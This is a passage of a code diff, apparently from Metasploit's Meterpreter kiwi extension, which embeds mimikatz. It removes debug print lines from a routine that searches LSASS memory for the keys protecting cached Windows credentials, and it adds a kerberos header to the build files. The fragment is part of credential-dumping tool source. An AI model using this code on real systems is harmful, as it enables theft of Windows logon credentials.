aMemory.address = PTRN_WNT5_LsaInitializeProtectedMemory_KEY;
|
||||
if (kull_m_memory_search(&aMemory, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY), &sMemory, FALSE))
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 8");
|
||||
#ifdef _M_X64
|
||||
g_Feedback = (PBYTE )(((PBYTE) sMemory.result + OFFS_WNT5_g_Feedback) + sizeof(LONG) + *(LONG *)((PBYTE) sMemory.result + OFFS_WNT5_g_Feedback));
|
||||
g_pRandomKey = (PBYTE *)(((PBYTE) sMemory.result + OFFS_WNT5_g_pRandomKey) + sizeof(LONG) + *(LONG *)((PBYTE) sMemory.result + OFFS_WNT5_g_pRandomKey));
|
||||
@ -95,7 +80,6 @@ NTSTATUS kuhl_m_sekurlsa_nt5_init()
|
||||
#endif
|
||||
if (g_Feedback && g_pRandomKey && g_pDESXKey && g_cbRandomKey)
|
||||
{
|
||||
PRINT_ERROR(L"[MIMIKATZ] HERE 9");
|
||||
*g_cbRandomKey = 256;
|
||||
*g_pRandomKey = (PBYTE)LocalAlloc(LPTR, *g_cbRandomKey);
|
||||
*g_pDESXKey = (PBYTE)LocalAlloc(LPTR, 144);
|
||||
@ -103,17 +87,9 @@ NTSTATUS kuhl_m_sekurlsa_nt5_init()
|
||||
if (*g_pRandomKey && *g_pDESXKey)
|
||||
kuhl_m_sekurlsa_nt5_KeyInit = STATUS_SUCCESS;
|
||||
}
|
||||
else
|
||||
PRINT_ERROR(L"[MIMIKATZ] NOT HERE 9");
|
||||
}
|
||||
else
|
||||
PRINT_ERROR(L"[MIMIKATZ] NOT HERE 8");
|
||||
}
|
||||
else
|
||||
PRINT_ERROR(L"[MIMIKATZ] NOT HERE 7");
|
||||
}
|
||||
else
|
||||
PRINT_ERROR(L"[MIMIKATZ] NOT HERE 3");
|
||||
} else PRINT_ERROR(L"[MIMIKATZ] failed to load lsasrv");
|
||||
}
|
||||
return kuhl_m_sekurlsa_nt5_KeyInit;
|
||||
|
@ -582,6 +582,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\mimikatz_interface.h" />
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos.h" />
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_pac.h" />
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_struct.h" />
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_ticket.h" />
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump.h" />
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m.h" />
|
||||
|
@ -149,6 +149,9 @@
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump_struct.h">
|
||||
<Filter>modules</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kerberos\khul_m_kerberos_struct.h">
|
||||
<Filter>modules\kerberos</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.rc" />
|
||||
|
Loading…
x
Reference in New Issue
Block a user